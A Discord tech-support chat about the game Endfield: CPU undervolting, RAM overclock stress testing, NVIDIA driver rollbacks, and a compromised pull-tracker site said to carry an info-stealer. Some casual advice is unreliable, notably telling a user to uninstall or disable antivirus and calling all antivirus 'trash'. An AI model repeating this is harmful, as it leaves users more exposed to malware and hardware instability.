[hazy venture]

and how does the cpu just.. lower it's watts?

does it lower it's amps?

[wheat turtle]

well mine decreased from 181 that was like 1.3 volt to 155w to 1.16v

[hazy venture]

well, i just know that for gpu, you can get lower voltage but if you keep the same/more frequency it will consume the same watts

[wheat turtle]

as for amps dont remmber it mucuh cuz been a while went into bios

[hazy venture]

well if you set a fixed voltage that means it's ALWAYS that voltage no?

can't that fuck up some frequency boosts or something?

[wheat turtle]

it depends on the vdroop if know what that means

u know those load line calibrations?

[hazy venture]

no

[wheat turtle]

for short LLC

uh its basically ur processor keeps a extra voltage somewhere when load comes it quickly takes the voltage from that location

so ur processor can boost to max just to start the work so your steady voltage can fill in the gap later so u dont crash

im not good at explaining this

[hazy venture]

uhhhhhh

sureeeee

[wheat turtle]

for short my voltage goes upto 1.163 and down to 1.137

[hazy venture]

wait

hold up

[wheat turtle]

on all core load i get lower voltage cuz everyone eating

ye?

[hazy venture]

i've already undervolted all cores

by -45

do i still need to get fixed voltage?

[wheat turtle]

no

[hazy venture]

is there any reason that i should?

[tall acorn]

definitely unstable

oh undervolted

[wheat turtle]

well if u not getting the desired temps and performance u can try

its eneffecient cuz nowdays most use adaptive and - offset

[hazy venture]

[wheat turtle]

[hazy venture]

what did you think i meant by -45

[tall acorn]

PBO core

[hazy venture]

i have stock cooler. ofc i'm gonna have shit performance.

[hazy venture]

wym?

yes, pbo -45 curve offset

voltage

thingy

[wheat turtle]

[tall acorn]

definitely unstable

[hazy venture]

nope

[tall acorn]

[wheat turtle]

u tried occt test?

[hazy venture]

been like 2 days

-49 was stable too

but eh

[wheat turtle]

or prime 95?

[hazy venture]

-50 crashes tho

[wheat turtle]

never use prime95 unless u have fixed good cooling and know what u doing

[tall acorn]

i'd guarantee -45 isn't stable on every core, certain cores will definitely be error correcting like crazy with that much

you should do some thorough testing at that level

[hazy venture]

seems stable

[wheat turtle]

run occt stress test

[tall acorn]

the recommended for all core is much lower, though some cores may still have slight instability even at -15 to -25

[wheat turtle]

[hazy venture]

ok

i'm sure it would've crashed by now if it wasn't stable..

[wheat turtle]

well

i can run 1.15v without crashing

[tall acorn]

stable and runnable are very different things

[wheat turtle]

but i get errors on cores

[tall acorn]

they're muddied these days though

[hazy venture]

2min is enough?

[tall acorn]

it might run but that definitely doesn't mean it's "stable" under the hood

[wheat turtle]

30mins test wdym 2min

[hazy venture]

oh hell nawh

[tall acorn]

if u want a -45 PBO on any core it's going to take you days brother

[wheat turtle]

do 30min extrem

[tall acorn]

for verified stability

[hazy venture]

bro

maybe i just won lottery

[wheat turtle]

should be gud to go 96% of time

if u pass

[tall acorn]

but if you want to go for more conservative settings, it'll take hours

[hazy venture]

you have no proof -45 isn't stable 😭

[wheat turtle]

or run cinebennch 15

[hazy venture]

i runned MONTHS on -30

[tall acorn]

or u can just ignore stability testing and set it to whatever you want as long as it's playable

[hazy venture]

you're just mad cuz your cpu can't do -45 UwU

[wheat turtle]

do one quick run of cinebench r15

short quick way to know

takes like 1-3 mins IF it can run that is

[hazy venture]

i'm sure it's stable

i'm wheezing

[wheat turtle]

yup its very stable

[hazy venture]

see

even ryzen master said "hardware not supported" right after i launched it

[wheat turtle]

[hazy venture]

i guess -40 it is

pfff

wym -5151mhz to 200mhz 😂

[wheat turtle]

tf

[hazy venture]

lol

i also overclocked my ram to absurd amount(based on base expo specs), could that also reflect on the cpu OCCT test?

[wheat turtle]

run ram test it will let u know

also ram oc is much painful

[glass forge]

that's a new one...endfield is acting weird, it took forever to actually launch and now it's just...frozen.

[hazy venture]

lol no please

[wheat turtle]

tried the dx11 mode ?

[tall acorn]

what are your system specifications?

[wheat turtle]

ram can cause cpu errors too

just letting u know

[glass forge]

doing the same in dx11 mode, launcher minimizes but game just kinda chills in the background doing nothing lol

[tall acorn]

@glass forge

[hazy venture]

is that gpu or cpu? tf

[glass forge]

7800x3d, 7900xt for GPU. Game worked fine yesterday

[tall acorn]

run the exe directly as an administrator

[hazy venture]

did you update your gpu driver? what version do you have rn

[wheat turtle]

run game as admin if still not check driver or windows update

[glass forge]

oh there's a new one, although it's been working fine. 26.1.1

[wheat turtle]

[glass forge]

heh, game opened, just blackscreen. Weird.

[hazy venture]

ok DONT update it to the latest rn

[wheat turtle]

cpu testing? then cpu

[glass forge]

good ol' turning it off and on again is next. lol

[hazy venture]

i never got that error on -45..

[wheat turtle]

[tall acorn]

verify the integrity of the games files

try again afterwards

[wheat turtle]

using extrem? or normal?

[hazy venture]

also cpu is pulling 66w but temps are like 76°c, which is not supposed to be that low

[hazy venture]

extreme

[wheat turtle]

ya ur cores are suffering it seems

[golden zenith]

WHEA error, let go

woo

[tall acorn]

🤷‍♂️

[golden zenith]

the fun stuff

[hazy venture]

yes

[glass forge]

heh, PC reboot fixed it

[tall acorn]

error detected within 2 minutes is one of the clearest signs of a very unstable overclock

[glass forge]

must've been the wind

[tall acorn]

but if it's playable and you know what you're doing, and you're also satisfied with whatever the results are, that's perfectly okay ✅

[hazy venture]

Welp my pc crashed after a while After the test

Weirdass

[wheat turtle]

cuz all ur cores got used for once

[hazy venture]

Occt +hwinfo64 crashed

[wheat turtle]

instead one or 2 cores

[hazy venture]

Nah, AK uses all

[glass forge]

definitely pushing it too much if you're not 100% stable lol

[wheat turtle]

not DX11 mode

tho eats more ram at DX11 mode

[hazy venture]

Maybe gpu wasnt stable for occt

Welp

[tall acorn]

it isn't a CPU bound game, so it's not really fully utilizing it under extreme loads, just distributing most of the workload across multiple cores around 60%~ usage

you'll still encounter error correction and stability issues even at that point though

[hazy venture]

I can tell you my cores are like all at 80-100%

[golden zenith]

it cpu bound if you bottleneck by cpu 🙃

like me

[hazy venture]

I get cpu bottlenecked soooo

[wheat turtle]

my cpu is bottleneck too

4070ti

[hazy venture]

Whats your cpu?

13600k?

[wheat turtle]

ye

[hazy venture]

lol

fair

in 1440p i'm sure it's not (in wuling)

[wheat turtle]

i can edit videos easily tho

the extra cores are nice

[tall acorn]

cpu bound game as in most of the calculations and rendering intensity is performed on the CPU, so once you reach maximum utilization it won't really matter how powerful your GPU is

[glass forge]

factorio being a good example lol

[hazy venture]

lol

[golden zenith]

civ 5 as well

[wheat turtle]

cyberpunk dlc

too

[golden zenith]

or was it 6

cant remember

[tall acorn]

bottleneck is just when any component reaches 100% utilization, and a separate component can't keep up with the information stream, essentially being a literal bottleneck for how much performance you'll actually get

[agile tusk]

u have more errors than my t-creds

[hazy venture]

wait i'm on a ram test and my cpu is literally maxed out

...

[glass forge]

yes ofc, your CPU is reading/writing from memory

[wheat turtle]

btw occt aint a perfect 100% stable tester

[hazy venture]

if occt is stable any game is stable

[wheat turtle]

ye 96% time u will be fine

[golden zenith]

yea, well cant do anything about bottleneck sadly, new to buy new hardware

[wheat turtle]

unless u like me with OCD u go for the 100%

[golden zenith]

at this time of age

[hazy venture]

buy aio and overclock cpu!

[wheat turtle]

took me 6 months to test and change settings

[golden zenith]

fk no

[hazy venture]

also ayo what's normal temps for ram?

[wheat turtle]

lost hair in the process

[hazy venture]

is 70°c fine?

[tall acorn]

[wheat turtle]

ddr 4 or 5

[agile tusk]

26.1.1 is surprisingly stable. i updated to 26.2 just earlier and so far theres no problems aside from me trying to find the sweet spot of undervolting my gpu

[hazy venture]

ddr5

[wheat turtle]

shouldnt exceed over 50-55 i guess?

while stresstesting that is

[golden zenith]

that is such a lie

[hazy venture]

uhhhhh

[tall acorn]

it's fine

[hazy venture]

i need someone to hold my hand when i say it

[wheat turtle]

80?

[tall acorn]

performance will worsen if it gets too hot though

[hazy venture]

wait i'm waiting for it too increase even more 😂

[tall acorn]

same way as any other component, but ram is much more delicate

[wheat turtle]

ram and ssd both

[hazy venture]

ram temps just keeps going dude

[wheat turtle]

gen 5 ssd goes so hot man

[wheat turtle]

how much it went 60?

[hazy venture]

1st ram 53.5°c 2nd ram 56.8°c in 5 mins

[wheat turtle]

ah ur fine

[hazy venture]

why is my second one hotter

despite being closer to intake fans

[wheat turtle]

cuz its not getting air directly

[tall acorn]

case layout

[hazy venture]

it's closer to intake fans..

since it's on B2

A2 is behind it, it should get less air.....

[wheat turtle]

[hazy venture]

no.. i think it's because the B2 one has more watts.

[wheat turtle]

it test one at a time i guess

[hazy venture]

no

[wheat turtle]

any errors?

[hazy venture]

nope

[wheat turtle]

5 min passed?

[hazy venture]

PMIC under voltage on hwinfo64 for the B2 one

[hazy venture]

yes

i swear

[wheat turtle]

so cpu it is

[agile tusk]

no errors do we start cheering

[hazy venture]

yes

[agile tusk]

we cheered

[hazy venture]

wanna copy my ram timings?

i promise they're most likely fine

[wheat turtle]

[hazy venture]

😂

no sarcasm

[wheat turtle]

i gave up on ram

[agile tusk]

i am on ddr4

[golden zenith]

what happened sia

[wheat turtle]

takes too long to test properly

[hazy venture]

sad

[hazy venture]

nah it's easy

[wheat turtle]

100% ocd here

[golden zenith]

what fusion cooking...

[wheat turtle]

[hazy venture]

nothing

[wheat turtle]

ur bank wallet

[hazy venture]

Sia????

[tall acorn]

test properly

[agile tusk]

i copy ur settings and suddenly my pc a ticking

[hazy venture]

dw i did 5min test no errors

[wheat turtle]

i bet u gonna instant crash if u run memory cruncher

[hazy venture]

and CL32 6000mhz on 1.35v is fine as fuck

[golden zenith]

5 min test no error....

[hazy venture]

bet?

[tall acorn]

if you're overclocking with experimental timings, you're going to want to test that for hours to make sure it's stable

[wheat turtle]

[golden zenith]

wow, that is SO Wrong

[tall acorn]

safer timings don't really need any testing

[hazy venture]

you mean y-cruncher?

[wheat turtle]

ye

[hazy venture]

hah see!

[wheat turtle]

i forgot og name

i really should finish the vid been online enouf

take care mr married man fusion

[hazy venture]

you too!

LeSir

[agile tusk]

hello neighbor its imperative you go to sleep

[hazy venture]

wait what do i put here

[tall acorn]

press 2

next page

[wheat turtle]

[hazy venture]

then?

[tall acorn]

press 8

[wheat turtle]

do my work for me then mr @agile tusk

[tall acorn]

press 18 afterwards

[tall acorn]

and you'll start testing

[hazy venture]

after 8 and 18?

[tall acorn]

test for an hour and you're good enough for your timings i'd assume

[tall acorn]

press 0

[hazy venture]

okie

[tall acorn]

isn't recommended to run anything else while testing

close discord, browser, games, overlays, etc

[hazy venture]

uhhhh

...

[tall acorn]

if you want accurate results

[hazy venture]

fudge me

[wheat turtle]

use phone

[agile tusk]

dang get ur phone

[tall acorn]

[hazy venture]

result of stable or not?

[tall acorn]

yeah

[hazy venture]

huh

:(

[tall acorn]

not that anything else is going to run well anyways when stress testing components

lol

[hazy venture]

is it stuck or something

[tall acorn]

wait

[golden zenith]

well

[hazy venture]

oh you litterally mean wait

ok

[golden zenith]

if it isnt the result of your own action

[hazy venture]

well my pc seems to be fine rn

[tall acorn]

yeah for an hour or longer until it fails

[hazy venture]

nvm

[tall acorn]

it might fail before that though, which will indicate that you have an unstable overclock

[agile tusk]

we stopped cheering

[hazy venture]

wdym stopped 😭

[tall acorn]

which will hurt your frametimes during gaming

[agile tusk]

atp anything could happen in testing

[hazy venture]

Ale im on phone ig

[hazy venture]

My ram expo is 6000 cl36 1.35v

Which is shit

[tall acorn]

it's fine enough

cl40 and stuff like that is shit

kind of stuff you find in prebuilts lmfao

[hazy venture]

Regular cl30 6000 can get cl32 6000 1.10v

[tall acorn]

have you overclocked and undervolted cl30 6000mhz to 1.10v before

these aren't the same standards for all ram listed at those speeds

[hazy venture]

No

The video I copied did

[golden zenith]

[tall acorn]

lots of information on the internet nowadays is kit specific, and also based in the silicon quality sometimes

[hazy venture]

Ye ik ik

[tall acorn]

unless u have that exact same kit, i wouldn't recommend copying the settings 1:1

[hazy venture]

How much time are the iterations supposed to take?

Are they supposed to be faster each time?

[tall acorn]

ram EXPO/XMP/DOCP timings are determined by the manufacturer, and usually included in the ram listing

[tall acorn]

it's variable

as long as the tests don't fail, you're fine

[hazy venture]

Okie

Well the bits/sec seems to increase

[tall acorn]

-# chug more voltage into your memory sticks and increase the clock speeds until it maxes out, for the last time of course

[hazy venture]

Lol

I tested 6200mhz instead of 6000 but nope

Maybe the r5 7600 just doesn't like over 6000

[tall acorn]

AMD systems don't benefit from tighter timings as much as intel systems do

[hazy venture]

Hmm

[tall acorn]

going from CL 34 -> CL 30 is only marginal improvements

[hazy venture]

But I also decreased secondary timings!

[tall acorn]

i wouldn't stress out over 10 more fps in 1% and 0.1% lows

[hazy venture]

Almost all, but I increased some cuz of video

[agile tusk]

once saw a prebuilt that had cl46 rocking a non x3d cpu (forgot exact specifics tbh). safe to say it was collecting dust in the listings

[hazy venture]

Put RTSS max fps and then boom your 1% lows are the same as avg

[tall acorn]

64 gigs of ram but the speeds are slow as balls

worthless stick

[hazy venture]

Lol

[tall acorn]

that's how they save money in prebuilts

[hazy venture]

Also my latency is very high, I don't know why

[tall acorn]

also why they don't explicitly state that the GPUs included in most laptops are cut down from their full models

[hazy venture]

Lol

Indeed

[tall acorn]

partially due to heat and cost

[hazy venture]

Except 4050

[tall acorn]

laptop price would be 4x as much with real model in there

[hazy venture]

And 5050

[tall acorn]

desktop versions are already a scam anyways lmfao

[hazy venture]

Lol yeah

[tall acorn]

there isn't anything left to save by cutting down an already barebones graphics card

though it's still good enough to run 1080p good settings in lots of games

[hazy venture]

They should be less expensive for it to actually have a reason to buy it

[tall acorn]

any dedicated GPU (excluding very old ones) is plenty tbh

[hazy venture]

Yes

Except 2050

[golden zenith]

it skipper

[hazy venture]

How do I know if I got an error?

[lavish leaf]

I checked, this is the "supervisor perlica" guy that posted fake support ticket mail generated with chatgpt. Previously also banned for posting GenAI "art" in art channel

[hazy venture]

Does my PC just crash

[lavish leaf]

Game doesn't even support dx12

[tall acorn]

it'll notify you in y-cruncher

[tall acorn]

yeah, the second they sent the first AI generated image i already knew it was that guy

[hazy venture]

The dx12 thing? Lmao

[tall acorn]

didn't want to be rude or insulting, so i gave them the benefit of the doubt until they posted this crap

[hazy venture]

Lol

[tall acorn]

looks like i accidentally duplicated one of the other AI generated images in the modmail though

[patent shoal]

morning

[golden zenith]

the text so bloody blurry

[golden zenith]

yooo

[lavish leaf]

Cuz ai generated

[hazy venture]

Ayooo

[golden zenith]

i know

[agile tusk]

well there goes my personal experience with perlica ai now.. in the form of endfielder

[hazy venture]

Skipper are you an all powerful being that can ban anyone here-

[lavish leaf]

You next

[hazy venture]

NOOOO

[golden zenith]

time for the Max campaign, when the #tech-off-topic-channel

[lavish leaf]

#off-topic

[hazy venture]

[patent shoal]

I mean, we can use #infra-station for it

[agile tusk]

is anyone out there having endfield issues its getting BLEAK in here

[hazy venture]

But.. tech support is for a reason.. it's when the technician needs support

[patent shoal]

since on outpost category, that channel doesnt have topic limitation

[hazy venture]

Exactlyyyy

[golden zenith]

at this point, we nerds are trolling the mods

[hazy venture]

Nahhhhhh

[patent shoal]

oh anyway, endfieldrecords is compromised

💀

[lavish leaf]

PEBKAC

[golden zenith]

[hazy venture]

What's pebkac..

[wheat turtle]

[toxic atlas]

[lavish leaf]

You

[hazy venture]

😭

[patent shoal]

same as PEBCAK

[wheat turtle]

did he crash?

[hazy venture]

Whats pebcak 😭

[drowsy cipher]

please do not have a stroke in here

this isnt medical support

[patent shoal]

its just the keyboard and chair switched

[hazy venture]

[agile tusk]

[wheat turtle]

damm nice

[wheat turtle]

told u to not go to weird sites man

[patent shoal]

it has info stealer payload

[wheat turtle]

[hazy venture]

I'm gonna search up online what's pebcak

Y'all can't stop me

[golden zenith]

Go ahead

[wheat turtle]

good luck

[patent shoal]

[golden zenith]

we are not stopping

[hazy venture]

Wtf

[golden zenith]

MVTech Skipper calling out

[hazy venture]

I'm still confused

[wheat turtle]

[patent shoal]

tldr, many tech issue lies on the user rather than the device itself....

[hazy venture]

Lol

[agile tusk]

i just wanted to share my pity count easier to friends

[wheat turtle]

[wheat turtle]

HAH

[hazy venture]

Yall have any idea what's that?

[wheat turtle]

[hazy venture]

NOT RN

[wheat turtle]

its ram

[golden zenith]

idk

[wheat turtle]

[hazy venture]

Bro typed so fast

[wheat turtle]

just do quick google search

[hazy venture]

Lol, on a 5 month old laptop with no overclock possible?

[wheat turtle]

could be

there could be windows issues too

the possibilities are endless

[hazy venture]

And this one?

[golden zenith]

at the end of the day, it PEBCAK issue

[wheat turtle]

[drowsy cipher]

french keyboard layout? im out

[hazy venture]

Hmm, PC seems to run fine

[hazy venture]

I'm french!!!

[drowsy cipher]

your loss

[wheat turtle]

if the stuff works fine for u then all good

[hazy venture]

:(

Ye just making sure

It's not my fault

[tall acorn]

running random scripts on the internet is probably the fastest way to get hacked, aside from clicking on suspicious links and accidentally installing, then running malware

even if they're verified

[hazy venture]

Getting hacked by a link?

I wonder how that works

[tall acorn]

running a script with the highest system level access, just to get your pull information in a gacha game is crazy

[drowsy cipher]

Read scripts before you run, and don't run until you understand what they do

[hazy venture]

Hmm

Welp I crashed anyway

After half an hour

[tall acorn]

just now?

unstable

[hazy venture]

Yes

Runnable tho

[tall acorn]

dial the timings back manually or use EXPO II

[drowsy cipher]

I've run gacha pull history scripts before but only after making sure they don't touch anything they're not supposed to

[hazy venture]

WAIT

[tall acorn]

wouldn't recommend "runnable" ram

[hazy venture]

It didn't crash

Hold on

Whay

????

[wheat turtle]

[tall acorn]

describe what happened

[hazy venture]

Monitors just blacked out for 30-50 sec

[tall acorn]

it's still running or it isn't

[golden zenith]

This PEBCAK is a loss cause

[tall acorn]

sleep mode? - might not be the case with your monitor

[hazy venture]

Ah

...

That's fair

Sorry

😂

[tall acorn]

does your monitor ever go to sleep?

or hibernate

[wheat turtle]

[hazy venture]

Might do, wait I'll check power settings

Ah yes, after 15mins it shuts off monitor

Lol nvm I panicked

First time I hated that setting

[drowsy cipher]

That's actually one of the reasons I've been hesitating to get an old screen, a buddy of mine has one and it unpromptedly does it's refresh thing all the time

OLED*

[tall acorn]

configurable in the OSD settings..

[hazy venture]

Mine is just set to shut off in 15mins of inactive in windows settings

[tall acorn]

you can disable it entirely or prolong it

3rd and 4th gen OLEDs don't really suffer from burn in at all

only temporary

but even LCD's can suffer from temporary burn-in under certain cases

[drowsy cipher]

I think my only OLED device is my vita tbh

[hazy venture]

Isn't that perfectly stable UwU

[tall acorn]

i believe every iphone after the 10th, excluding an 11th model, now use OLED screens

also ipads i think

so if you have one, there's a small example

[drowsy cipher]

Yeah but iPhones are for words that would get automod to smack me

[agile tusk]

im now going to go through my event viewer and task scheduler and pray i dont find anything bc i dont want to nuke my 2 ssds and 1hdd oml

[tall acorn]

next is tm5

[drowsy cipher]

And I've already had my daily bonk thank you very much

[hazy venture]

Tm5???

[tall acorn]

afaik the malware clears itself from event viewer, so even if you checked you might not find anything

if you ran a script from that website you're probably cooked

but you can check around thoroughly to see if you're also compromised

[hazy venture]

Event viewer? I get lots of things there!!!!

[golden zenith]

i wonder why

[hazy venture]

Alot.

[drowsy cipher]

Narrator voice: and that was not a good thing

[tall acorn]

admittedly i haven't looked into it much, though

[hazy venture]

But it seems to all be windows stuff

[tall acorn]

TestMem5, a separate memory stress testing tool

can get pretty intense if you want to ensure full stability

[hazy venture]

Hmm

Uhm I'm not sure if I want to literally cook my ram thank you

[tall acorn]

but if you pass y-cruncher and you aren't running with any experimental timings, you're most likely fine with whatever you have going on

[drowsy cipher]

the longer i stick around in here the more i think my current build is blessed

[patent shoal]

the silicon gacha is real (yeah I knew its already real)

[drowsy cipher]

i built this shitbox in jan 2021 and it has never given me trouble

well i built most of it in mid 2020 but had to wait until i could get a gpu at a decent price

[golden zenith]

i built my crap at 2020 & shit not giving issues

[agile tusk]

fortunately i have enabled 2fa in most accounts. cleared sessions for endfield and i will be doing the same to every platform i use man i was about to sleep

[golden zenith]

only issue i need to deal is PEBCAK issue

[drowsy cipher]

2020 hardware bros represent

[hazy venture]

Lol

Yoo chat is MEMORY_MANAGEMENT stop code linked to ram issue?

Let's see who falls into my trap.. hehehe

[drowsy cipher]

possibly, but not definitely

[golden zenith]

idk, it a problem for you to solve

[hazy venture]

Lol and bro calls himself a technician

You're mean

[wheat turtle]

real gacha of life is being born in a rich family wher u never have to work

[hazy venture]

Lol

Yes

[wheat turtle]

always

[hazy venture]

ALWAYS?

[golden zenith]

but hopefully they address it

[tall acorn]

not bad, but where monitor

[ember crow]

can someone help me out? I updated my nvidia drivers this morning and now my game is having extreme freezing and frame drop issues. Havent tried other games out but just yesterday I was running 120fps just fine with high quality settings. No idea why this is happening

[hazy venture]

Uhh, didn't put it there cuz, idk, lazy?

[patent shoal]

revert the nvidia driver

[golden zenith]

HAHAHA

[golden zenith]

Another one, Revert your driver

[drowsy cipher]

rollback commando stat

[golden zenith]

Add it to the Counter

[hazy venture]

It's 1440p 240hz IPS cuz he plays valorant and stuff

[ember crow]

Is this a common issue?

[tall acorn]

11th, i'd recommend clean installing via the guide in the pins personally @ember crow

[patent shoal]

the latest one lower and lock the voltage to prevent the melting issue, but it affects many type of gpus

[tall acorn]

but you can just revert in the nvidia app if you really don't want to

[golden zenith]

yes

[patent shoal]

revert to 591.86 (fine forr me)

[tall acorn]

happens with every 595 driver version, they're all presenting critical stability issues

[ember crow]

How do I go about reverting the driver, im in the nvidia app and I cant see a revert option. Also is this like an all games issue with a problem on nvidias end or just endfield

[dull schooner]

so regarding the endfield pull trackers having malware n stuff, as far as i should be concerned if i didnt run their script i should be fine right

[patent shoal]

its general wide issue

Sorry for long link

[tall acorn]

last 595 driver launch wasn't even detecting the fans properly and ended up cooking some cards (no permanent damage afaik)

[patent shoal]

press the 3 dots on the right side

[tall acorn]

https://www.amazon.fr/dp/B0FLQ62BSG all of the rest

[patent shoal]

and press it on the desired version

[hazy venture]

Thx for shortening the link

(idk why but okay)

[golden zenith]

i cant say for ALL games, but most of the games are affected

[dull schooner]

anyone know anything abt this

[patent shoal]

if u doesnt run their script, should be fine

[dull schooner]

alr ty

[ember crow]

dont have that bar, should i reinstall and see if it pops up?

[dull schooner]

needed peace of mind since i wont be home for a month

[golden zenith]

oh god damn NVIDIAAAA

[patent shoal]

but that "script infection" issue is not limited to this endfieldrecords problem

[wheat turtle]

what

[tall acorn]

holy moly

[patent shoal]

if u ever run script from strange website

u should check it

[wheat turtle]

updating nvidia drivers?

good luck

[tall acorn]

crazy for a LCD

[hazy venture]

No idea what that lmao

[dull schooner]

yea i was just wondering since i only at most visited a site, saw i needed to run a script so i noped out

[hazy venture]

Price here is 180e

From 200e sale

[golden zenith]

You can do DDU & Manual Install the driver

[patent shoal]

use the clean driver install guide on this channel

[tall acorn]

regional (no offers in my area)

[hazy venture]

Lol

[bleak citrus]

Anyone having stutter after the mini patch update?

[tall acorn]

yeah you'll be fine

[golden zenith]

Check Pin for the guide

[patent shoal]

did u update ur nvidia driver ?

[tall acorn]

what are your system specifications?

[patent shoal]

if yeah, pls revert the update

[summer pagoda]

https://www.nvidia.com/en-us/drivers/details/263199/

[hazy venture]

Zencrox should be hired by gryphlink fr

[ember crow]

if i install this driver will it revert to that one and delete the current one?

[summer pagoda]

yes

[agile tusk]

frontline customer service

[hazy venture]

he's just too good

[agile tusk]

50 oroberyls hourly wage

[tall acorn]

yeah and i'd be reduced to instructing people to disable DLSS

[hazy venture]

Dayum 50?? That's a dream

[patent shoal]

thats like 1200 per day

[golden zenith]

50? more like unpaid labour

[agile tusk]

10 hours for 1 pull kek

[hazy venture]

What.

[patent shoal]

zencrox definitely can p5 any unit

[patent shoal]

customer service can take extra shift I believe

[hazy venture]

Bro can't sleep

24 hours a day

Lmao

[patent shoal]

and seeing zencrox always available here, why not take 24 hour shift

[tall acorn]

have you tried switching to dx11 and back to vulkan to rebuild the shader cache?

[hazy venture]

He'd be depressed

Bro will help people while eating, sleeping, playing

[patent shoal]

@tall acorn are u depressed ?

[tall acorn]

try that first and let me know if that solves your issue

[summer pagoda]

Does Hypergryph have Oroberyl vending machines at the office?

[patent shoal]

well, zencrox already answered

[hazy venture]

Yeah are you mentally gonna go down zencrox

[patent shoal]

should be fine

[bleak citrus]

I already using vulkan before till now. Should i back to dx11?

[hazy venture]

I feel like he'll just blow up if we continue

[bleak citrus]

Previously this stutter never happened

[tall acorn]

switch to dx11 -> launch and close the game -> switch back to vulkan

[bleak citrus]

Okay ill try

[drowsy cipher]

i wouldnt get out of bed for less than 30k/h

oro that is

[hazy venture]

No one will hire you

😂

[patent shoal]

I think HG will prefer to close his account instead

[hazy venture]

Do you know much money is that per hour converted

[patent shoal]

30K / h is extorting

[hazy venture]

Prices in this game are crazy

Not the topic and don't wanna get banned tho

[drowsy cipher]

oh i had the wrong game pull conversions in mind

[bleak citrus]

Im sorry i was wrong. I always checklist the dx11 till now. When i unchecked it i cant launch the game

[hazy venture]

Yeah you hecking did

[drowsy cipher]

10k it is then

[hazy venture]

...

[tall acorn]

locate the game .exe and run it directly as an administrator

paste this into the path bar %ProgramFiles%/GRYPHLINK/games/EndField Game

[hazy venture]

10k is like over 50e an hour

Maybe over 200

[drowsy cipher]

ai lied to me

[hazy venture]

WTF

I think he means 10,2 oroberyls

[drowsy cipher]

then again 40$/h is lower than my actual pay

[hazy venture]

Excuse me

40 bucks isn't even 10k orob

Wait

[ember crow]

thanks for everyone who helped me w the drivers had me thinking it was time to upgrade my pc

[drowsy cipher]

look i havent bought oro before so i dont know or remember

[agile tusk]

damn

[sinful hatch]

anyone have lag spike after update?

[hazy venture]

Oh boy another one

[tall acorn]

what are your system specifications?

[patent shoal]

time to bail

[ember crow]

aw man

[golden zenith]

no worries, anything you not sure, can let us know

[patent shoal]

goodluck with the support guys

[agile tusk]

endfield runs well even on ancient pc (okay maybe not 'well' but playable). you're fine! its usually the drivers messing everything

[bleak citrus]

Still forced close 🙁

[bleak citrus]

Me too

[tall acorn]

yeah, end up dropping another $500 - $2000 on a GPU in this market because of drivers the sellers themselves released which are broken

[tall acorn]

verify the integrity of the files and restart your computer

[golden zenith]

byeeee👋

[sinful hatch]

i91190k + 3080ti and 64gb ram

[hazy venture]

Daym 3080ti user!!

Hii!

[bleak citrus]

Okay i'll do this

[golden zenith]

what your driver version

[tall acorn]

we'll try compatibility mode afterwards, though there may be a better solution

[hazy venture]

Yes what's your gpu driver

[drowsy cipher]

that should run the game easily at 1440p 120fps

[sinful hatch]

595.71

[hazy venture]

A bit lower..

[golden zenith]

hahahaa

knew it

[hazy venture]

Lolll

[sinful hatch]

wait

[golden zenith]

Revert to Previous Driver

[tall acorn]

revert in the nvidia app

[hazy venture]

It's not?

[sinful hatch]

problem from lastest driver?

[hazy venture]

Yes

It's shit

[tall acorn]

or check the pins and follow the DDU guide to clean install and improve performance slightly

[golden zenith]

yup

[sinful hatch]

shiet fml thanks guys

[golden zenith]

ADD IT TO THE COUNTER

[hazy venture]

Lol

[tall acorn]

it's now risen to 12

[drowsy cipher]

i was about to say that is my exact driver but nooo its what the nvidia app wants me to update to... what is my actual one

[tall acorn]

it was half that around 12 hours ago

[golden zenith]

no worries, got any issue, let us know

[bleak citrus]

I've been updating my AMD driver too hours ago. Is that impacting my perfomance?

[summer pagoda]

how long til HG patches the driver issue

[tall acorn]

it depends, but you're probably fine

[drowsy cipher]

no nvidia is mostly shitting the bed

[tall acorn]

it's a nvidia related issue

releasing certified drivers that barely even work

[summer pagoda]

it's working fine in otehr games for me

2% more frames too

waow

[hazy venture]

@tall acorn final pic, i'm going to bed now, gn y'all

[bleak citrus]

I guess i will play like these from now. Maybe i will lower the graphic to gain some fps. All i wish just the stutter is gone

Not much to hope for graphic bcs i realized my device is low.

[tall acorn]

have you restarted your computer?

[tall acorn]

your device is perfectly fine to run this game fully maxed settings, possibly 120fps stable

maybe 90 fps stable which is still great

[bleak citrus]

After file integrating? not yet. Okay i will restart. Sorry i forgot

I will be right back

[tall acorn]

it's all good, don't worry

[golden zenith]

kekw, Highguard EoS

oh well

[summer pagoda]

But the 1 year road map

[tall acorn]

1 year road map to 1 month EOS is crazy

[bleak citrus]

Yes, i was running this game on nearly max setting. Its just suddenly this happened today after some file updates from the game

[tall acorn]

after we get you running on vulkan, i'll recommend you some settings for the best performance

i'll probably stitch together a reference image/sheet too

[bleak citrus]

Okay thank you. So after the restart, i run the game without checklist the dx11?

[tall acorn]

yeah, and let me know what happens next

and instead of hunting around in the dark, let's crack open reliability monitor and see if there's any error codes, @bleak citrus

after you attempt to launch the game again, of course

solid chance your issue is fixed

[bleak citrus]

Still forced close

[drowsy cipher]

how did the graph not take a hit from that

[tall acorn]

• Repair and install all Microsoft Visual C++ Redistributables: https://learn.microsoft.com/en-us/cpp/windows/latest-supported-vc-redist?view=msvc-170

[golden zenith]

a smooth line

[bleak citrus]

Okay i'll try

[tall acorn]

• Launch in Windows 8 Compatibility mode, paste %ProgramFiles%/GRYPHLINK/games/EndField Game into the leftmost search bar in your file explorer, navigate to Endfield.exe and right-click it to open It's Properties, switch to the Compatibility tab and check "Run This Program In Compatibility Mode For Windows 8".

[golden zenith]

should check the Endfield.exe, but i cant read it so...

[tall acorn]

you can do this afterwards if repairing redistributables doesn't work

[tall acorn]

do you have any antivirus or VPN software running? what about overlays?

or anything connected to your computer

[bleak citrus]

Okay noted

[bleak citrus]

Only Kaspersky as antivirus

[golden zenith]

Kaspersky

[tall acorn]

that's the issue then

[golden zenith]

oh no

remove it

[agile tusk]

Kaspersky, Norton, Avast = TRASH

[golden zenith]

Any Anti Virus is trash

Only anti virus you need is common sense

but what can i say

[bleak citrus]

I see. So just remove the Kaspersky then?

[golden zenith]

When you want Play the game, you need to disable it

[tall acorn]

you can exclude the game or disable it temporarily if you really want to keep it installed

though people have reported issues when trying to exclude the game from antivirus software sometimes

it generally depends on the ram kit certifications and the attempted overclock, but yes more voltage can help to reach your desired overclocks

extra voltage will generate heat though, and slightly decrease the performance of your memory sticks if it's running hotter

1.45V is safe even, but is only necessary if you have an overclock that requires it to run stable

